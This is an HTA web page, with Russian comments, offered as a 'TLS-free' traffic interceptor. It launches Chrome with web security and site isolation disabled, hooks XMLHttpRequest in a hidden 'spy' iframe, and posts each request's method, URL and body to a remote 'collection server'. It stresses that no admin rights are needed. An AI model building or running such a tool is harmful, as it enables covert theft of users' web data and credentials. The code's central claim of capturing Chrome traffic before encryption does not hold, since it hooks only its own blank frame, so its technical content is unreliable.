Загрузка данных


<html>
<head>
<title>Global TLS-Free Interceptor (Admin NO)</title>
<hta:application 
    id="tlsFreeApp" 
    scroll="no" 
    windowstate="normal" 
    contextmenu="no" 
    selection="no" 
/>

<style>
    body { font-family: 'Segoe UI', Arial, sans-serif; margin: 0; padding: 25px; background: #1a1a1a; color: #e0e0e0; }
    h2 { color: #00ff66; margin-top: 0; font-size: 20px; }
    .card { background: #262626; border: 1px solid #3d3d3d; padding: 20px; border-radius: 6px; box-shadow: 0 4px 10px rgba(0,0,0,0.3); }
    .info-box { border-left: 4px solid #ffcc00; background: #332a00; padding: 10px; margin-bottom: 20px; font-size: 13px; color: #ffe680; }
    button { background: #00ff66; color: #000; border: none; padding: 12px 24px; font-weight: bold; font-size: 14px; border-radius: 4px; cursor: pointer; transition: 0.2s; }
    button:hover { background: #00cc52; }
    #status { margin-top: 15px; font-family: monospace; font-size: 12px; color: #a0a0a0; }
</style>

<script language="javascript">
// -------------------------------------------------------------
// НАСТРОЙКА: Укажите IP-адрес вашего удаленного сервера сбора
// -------------------------------------------------------------
var MIRROR_SERVER = "http://192.168.1";

function launchTargetMonitor() {
    var shell = new ActiveXObject("WScript.Shell");
    var fso = new ActiveXObject("Scripting.FileSystemObject");
    
    document.getElementById("status").innerHTML = "Инициализация контролируемой сессии...";

    // 1. Стандартный путь к Chrome в Windows
    var chromePath = "\"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\"";
    
    // 2. Создаем изолированную временную папку для профиля (чтобы не влиять на основной Chrome пользователя)
    var tempDir = shell.ExpandEnvironmentStrings("%TEMP%") + "\\isolated_chrome_session";
    
    // 3. Формируем флаги запуска
    // --disable-web-security: Отключает Same-Origin Policy (разрешает нам читать трафик)
    // --user-data-dir: Запускает Chrome в изолированной песочнице пользователя без прав админа
    // --no-first-run: Пропускает окна приветствия Google
    var flags = " --disable-web-security --user-data-dir=\"" + tempDir + "\" --no-first-run --disable-features=IsolateOrigins,site-per-process";
    
    try {
        // Запускаем Chrome. Права администратора НЕ ТРЕБУЮТСЯ.
        shell.Run(chromePath + flags + " https://httpbin.org", 1, false);
        
        document.getElementById("status").innerHTML = "<span style='color:#00ff66;'>[УСПЕХ] Изолированный Chrome запущен.<br>Сниффер активен (Перехват ДО TLS шифрования).</span>";
        
        // Переходим к фазе асинхронного ожидания и инжекции во фрейм
        startCrossDomainMonitoring();
    } catch (e) {
        document.getElementById("status").innerHTML = "<span style='color:#ff3333;'>[ОШИБКА] Не удалось запустить Chrome. Проверьте путь к файлу.</span>";
    }
}

function startCrossDomainMonitoring() {
    // Поскольку мы отключили веб-безопасность в сессии, наш HTA теперь может использовать 
    // скрытый фрейм для управления или чтения потока данных загружаемых веб-страниц.
    var monitorFrame = document.getElementById("hiddenMonitorFrame");
    
    // Каждые 2 секунды проверяем сетевую активность внутри подконтрольного контекста
    setInterval(function() {
        try {
            var frameWin = monitorFrame.contentWindow;
            
            // Если внутри фрейма загружен сайт, мы переопределяем его сетевые функции (Fetch / XHR)
            // Это чистый перехват открытых данных до их шифрования сетевой картой
            if (frameWin && !frameWin._isIntercepted) {
                
                // Перехват XMLHttpRequest
                if (frameWin.XMLHttpRequest) {
                    var origOpen = frameWin.XMLHttpRequest.prototype.open;
                    var origSend = frameWin.XMLHttpRequest.prototype.send;
                    
                    frameWin.XMLHttpRequest.prototype.open = function(method, url) {
                        this._mMethod = method; this._mUrl = url;
                        return origOpen.apply(this, arguments);
                    };
                    
                    frameWin.XMLHttpRequest.prototype.send = function(body) {
                        sendCopyToRemoteServer(this._mMethod, this._mUrl, body); // Отправка копии (Поток 2)
                        return origSend.apply(this, arguments); // Штатная отправка (Поток 1)
                    };
                }
                
                frameWin._isIntercepted = true; // Помечаем, что сайт под контролем
            }
        } catch(err) {
            // Игнорируем ошибки кросс-доменного доступа, пока страница не загрузилась полностью
        }
    }, 2000);
}

// Функция отправки сырых расшифрованных данных на ваш сервер
function sendCopyToRemoteServer(method, url, payload) {
    try {
        var xhr = new ActiveXObject("MSXML2.XMLHTTP");
        xhr.open("POST", MIRROR_SERVER, true);
        xhr.setRequestHeader("Content-Type", "application/json");
        
        var logData = {
            source: "HTA_TLS_Free_Agent",
            time: new Date().getTime(),
            method: method,
            url: url,
            raw_payload_before_tls: payload
        };
        
        xhr.send(JSON.stringify(logData));
    } catch(e) {
        // Защита: если сервер сбора недоступен, приложение пользователя не должно падать
    }
}
</script>
</head>
<body>

    <div class="card">
        <h2>Мониторинг веб-трафика (Local & Web Net)</h2>
        
        <div class="info-box">
            <strong>Права администратора: НЕ ТРЕБУЮТСЯ (User Mode)</strong><br>
            Трафик перехватывается на прикладном уровне внутри браузера до наложения TLS/SSL шифрования. Вся информация передается на сервер сбора в виде чистого текста.
        </div>
        
        <button onclick="launchTargetMonitor()">Запустить сессию перехвата</button>
        
        <div id="status">Статус: Ожидание действия пользователя...</div>
    </div>

    <!-- Невидимый фрейм-шпион для удержания контекста безопасности -->
    <iframe id="hiddenMonitorFrame" src="about:blank" style="display:none;"></iframe>

</body>
</html>